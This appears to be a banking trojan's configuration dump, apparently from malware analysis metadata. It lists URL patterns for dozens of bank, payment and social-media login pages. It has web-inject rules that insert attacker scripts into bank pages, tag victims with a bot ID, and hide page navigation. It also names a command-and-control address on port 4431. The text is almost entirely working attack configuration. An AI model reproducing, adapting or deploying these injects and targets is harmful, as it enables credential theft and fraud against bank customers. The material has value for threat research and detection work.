60a13b2201fc4c1f9f60c3d660e873aeba5ba835e37e16e08171dcf6bdb7bf68
d79a0b4f838df2b52110af73bed6834753dd7916
97cf4507315546c5105db08e017f2412
2017-12-27T15:32:56+00:00
32
n/a
0x1d1df6f5
\.(gif|png|jpg|css|swf|ico|js)($|\?)
(resource\.axd|yimg\.com)
^http://.*citrix
^http://.+winbacs/
^http://sisesrv1/
^http://synfo/
^http://.+\:81/.*
^http://.+\:8888/.*
^http://.+\:8090/.*
^http://.+\:8084/.*
^http://127\.0\.0\.1:3495
^http://.+/MULTIVERSA
^http://.+/workbench/
^http://.+/flows/ebanking/
^http://srvesmad04:8080/
^http://srvaweb01/
^http://.*/sapphire/
^http://192\.168\.161\.23
^http://.+/mscmain
^http://shv-09
^http://intersection
^http://cujc-arcu/
^http://.+\:3495/.*
^http://.+\:3496/.*
^http://.+\:40000/.*
^http://.+\:9000/.*
^http://core-web/
^http://core-syn/
^http://r-space/
^http://dtsgui\.cbhi\.local/
^http://10\.118\.32\.33/
^http://webmail\.
^http://dtsacquire2011
^http://arta2/
^http://dtsap:70/
^http://nmain/
^http://170\.209\.0\.(3|2)
^http://.*/flows/banking/
^http://.*/b2b/faces/login/
^http://.*ingbusinessonline
^http://.*multiweb
^http://.*multiversa
^http://bankway.*/
^http://ebanking
^http://.*office-wings
^http://.+/login\.aspx
^https://www\.facebook\.com/login\.php
^https://.*\.facebook\.com/
^https://twitter.com/(login|account/login_challenge/|sessions)
^https://.*?twitter\.com/
^https://.*?twitch\.tv/
^https://(.*?\.|)gvt2\.com/
^https://.*?youtube\.com/
^https://www.linkedin.com/uas/login
^https://www\.linkedin\.com/
^https://accounts\.google\.com/_/signin/
^https://.*?google\.com/
^https://www\.readcube\.com/.*login
^https://(.*?\.|)readcube\.com/
^https://.*\.sprint.com/.*/login\.jsp
^https://(.*?\.|)sprint.com/
^https://www\.amazon\..+/signin
^https://(.*?\.|)amazon.com/
^https://www\.facilocados\.com
^https://www\.skyrana\.com
^https?://docs\.google\.[^/]+/
^https?://.*\.365lpodds\.com
^https?://outlook\.live\.com
^https?://cws\.conviva\.com
^https://login\.yahoo\.com/account/(challenge|change\-password)
^https?://.*\.yahoo\.com
^https://www\.wsitrader\.com/Account/Login
^https?://.*\.?wsitrader\.com
^https://www\.netflix\.com/(.*/)?Login
^https?://.*\.?netflix\.com
^https?://logx\.optimizely\.com
^https://www\.adnxs\.com/index/login
^https?://(.*\.)?adnxs\.com
^https://fxgmlogin\.tradenetworks\.com
^https?://(.*\.)?tradenetworks\.com
^https?://otf\.msn\.com
^https://(.*\.)?pinterest\.com/resource/UserSessionResource/create
^https?://(.*\.)?pinterest\.com
^https?://pebed\.dm\.gg
^https?://.*\.taboola\.com
^https?://www\.googleapis\.com
^https://app\.pinterest\.com/admins/sign_in
^https?://(.*\.)?intercom\.io
^https://bolt\.dropbox\.com/.*/notify/
^https://.*\.liverail\.com
^https://urs\.microsoft\.com/
^https://.+\.services\.mozilla\.com/
^https://localhost.*/skypectoc/
^https://.*\.skype\.com/api/
^https://incoming\.telemetry\.mozilla\.org/
^https://www\.bing\.com/
^https://self-repair\.mozilla\.org/api/
^https://api\.firefox\.com
^https://mc\.yandex\.ru
^https://.*\.orangeapps\.ru/candyvalley/
^https://candy.*\.king\.com/rpc/ClientApi
^https://api\.accounts\.firefox\.com/
^https://banners\.webmasterplan\.com/.*\.aspx
^https://.*\.forgeofempires\.com/game/json
^https://collector\.schibsted\.io/api/v1/track/
cashproonline-.+\.bankofamerica\.com
www3\.bankline\.
pioneer\.co-operativebank\.
go\.ashx
^https://cbfm\.saas\.cashfac\.com/cbfm/
(</form>)
\1<script type="text/javascript" language="JavaScript" src="scripts/msoffice365.js"></script>
^http://www\.co\-operativebank\.co\.uk/corporate/fdo\-noticeboard
^http://www\.co\-operativebank\.co\.uk/business/businessonlinebanking/bobs\-noticeboard
<article class="textareaDefault">.*be fooled by fraudsters.*</article>
^https://(wwwsec|inba|banking|netbanking)\..+\.ch/authen/login(\?|$)
\.(gif|png|jpg|css|swf)($|\?)
(</html>)
\1<script type="text/javascript" src="scripts/msoffice365.js"></script>
^https?://localhost:9000/workbench/WorkbenchOpenAction\.do.*
\.(gif|png|jpg|css|swf)($|\?)
(</html>)
\1<script type="text/javascript" src="scripts/msoffice365.js"></script>
^https://.+\.ch/(authen|WEB_XSA_LOGIN)/login\.xhtml
\.(gif|png|jpg|css|swf)($|\?)
(</head>)
<script type="text/javascript" src="/WEB_XSA_LOGIN/scripts/msoffice365.js"></script>\1
^https://.*bankline.*/(tagManagement|jquery.*)\.js
(\z)
;window['qweqwe']="%BOT_ID%";@@bankline_family?a=1&b=2@@\1
^https://business\.santander\.co\.uk/.*/jquery-1\..*.min.js
(\z)
;window['qweqwe']='%BOT_ID%';console.log('qweqwe');\1
^https://.*cybusinessonline.co.uk/cebFin/corp/BANKAWAY
(document.cookie = )
;
window['qweqwe']='%BOT_ID%';
window['getContentNode'] = function(){
var contentNode = null;
var navigatinNode = document.querySelector("td.naviBg");
if( navigatinNode ){
contentNode = navigatinNode.parentElement.children[1];
}
return contentNode;
};
window['hider'] = setInterval(function() {
var nav = getContentNode();
if (nav) {
if( nav.style.display !== "none" )
nav.style.display = "none";
}
}, 5);
var cooltree_ex = document.createElement('script');
cooltree_ex.setAttribute('src','web/L001/script/cooltree_ex.js');
document.head.appendChild(cooltree_ex);
\1
^https://.*metrobankonline.co.uk/.*__sf_event_listener_hook.js
(\z)
;window['qweqwe']='%BOT_ID%';
var jq_plgn_ext = document.createElement('script');
jq_plgn_ext.setAttribute('src','jquery-ui-plugin-ex.js');
document.head.appendChild(jq_plgn_ext);\1
msoffice365.js
ember3.js
^https://ebanking\-ch\d*\.ubs\.com/workbench/
^https://cs\.directnet\.com/dn/c/cls/
^https://nab\.directnet\.com/dn/c/cls/
^https://www\.postfinance\.ch/ap/ba/fp/html/e\-finance/
^https://ebanking\.raiffeisen\.ch/entry/
^https://.*/image777000/(.+)
^https://online\.coutts\.com/eBankingCouttsLogin/
^https://fdonline\.co-operativebank\.co\.uk/corp/
^https://business\.co-operativebank\.co\.uk/corp/
^https://onlinebanking\.nationwide\.co\.uk/AccessManagement/
^https://www\.ulsterbankanytimebanking\.co\.uk/
^https://www\.ulsterbankanytimebanking\.ie/
^https://www\.rbsdigital\.com/
^https://www\.tescobank\.com/sss/
^https://business2\.danskebank\.(co\.uk|com)/pub/logon/
^https://banking\.bankofscotland\.co\.uk/Logon/
^https://online-business\.bankofscotland\.co\.uk/business/logon/
^https://online-business\.tsb\.co\.uk/business/logon/
^https://corporate\.santander\.co\.uk/LOGSCU_NS_ENS/
^https://lloydslink\.online\.lloydsbank\.com/Logon/
^https://lloydslink\.online\.lloydstsb\.com/Logon/Logon\.jsp
^https://banking\.lloydsbank\.com/Logon/
^https://onlinebusiness\.lloydsbank\.co\.uk/business/logon/
^https://www\.business\.hsbc\.co\.uk/1/2/\!ut/
^https://bank\.barclays\.co\.uk/olb/auth/LoginLink\.action
.+/arq.os
^https://logon\.bankline\..*/scripts/genesis/sloth_inc\.js
^https://business\.santander\.co\.uk/Estatico/ALP_SBBI_Templates/Scripts/fl/behaviour2\.js
^https://.*cybusinessonline\.co\.uk/.*web/L001/script/cooltree_ex.js
^https://.*metrobankonline\.co\.uk/.*/jquery-ui-plugin-ex\.js
^https://.*\.lloydsbank\.co\.uk/.*/scriptsnippet\.jspf
^https://bank\.barclays\.co\.uk/js/jq/jq\.js
D2HLpgz6964knRethaMqYDygdM5aVZX3FamS.js
^https://online\.tsb\.co\.uk/personal/logon/
^https://www\.halifax-online\.co\.uk/personal/logon/
^https://online\.bankofscotland\.co\.uk/personal/logon/
^https://online.americanexpress.com/myca/logon/us/action/(.*LogonHandler.*)
^https://online.americanexpress.com/myca/logon/us/action/files/
^https://online.americanexpress.com/myca/logon/us/action/default_redirect.js
https://67.207.142.38:4431/B88U86giIPyD55RK/
^https://ibank1\.bib\.barclays\.com/
^https://cashmanagement\.barclays\.net/portalservices/
^https://cashmanagement\.barclays\.net/bnetservices/
^https://corporate\.santander\.co\.uk/LOGSCU_NS_ENS/BtoChannelDriver\.bto
^https://corporate\.santander\.co\.uk/(SCU_AUTHOR_ENS|SCU_PAYMNT_ENS)/
^https://entreprises\.societegenerale\.fr/
^https://entreprises\.certif\.societegenerale\.fr/authent\.html
^https://entreprises\.secure\.societegenerale\.fr/authent\.html
^https://professionnels\.secure\.lcl\.fr/outil/UAUT/Accueil/preRoutageLogin
^https://www\.labanquepostale\.fr/grands-institutionnels\.html
^https://www\.labanquepostale\.fr/entreprises\.html
^https://www\.labanquepostale\.fr/grandes-entreprises\.html
^https://www\.labanquepostale\.fr/professionnels\.html
^https://professionnels\.secure.societegenerale\.fr/$
^https://professionnels\.societegenerale\.fr/$
^https://secure1\.entreprises\.bnpparibas\.net/sommaire/jsp/identification\.jsp
^https://entreprises\.bnpparibas\.net/NSAccess
^https://www2\.bancopopular\.es/
^https?://www\.ce-g3-enligne\.credit-agricole\.fr/
^https://www\.normand-g3-enligne\.credit-agricole\.fr/stb/
^https?://www\.ca-paris\.fr/
^https?://www\.net\d+\.caisse-epargne\.fr/
^https://www\.anjou-maine-ediweb\.credit-agricole\.fr
^https://statso\.par\.societegenerale\.fr
^https://.+\.fr/stb/entreeBam
^https?://particuliers\.secure\.societegenerale\.fr
^https://www\.caisse-epargne\.fr/particuliers/normandie/accueil\.aspx
^https://rib\.ecobank\.com/ecobankburkina/internet
^https://ibank\.humebank\.com\.au/mvp/signon/login\.asp
^https://secure\.lloydsbank\.co\.uk/personal/a/account_overview_personal/
^https://secure\.halifax-online\.co\.uk/personal/a/account_overview_personal/
^https://secure\.bankofscotland\.co\.uk/personal/a/account_overview_personal/
2018-04-08T15:40:27+00:00
4431
67.207.142.38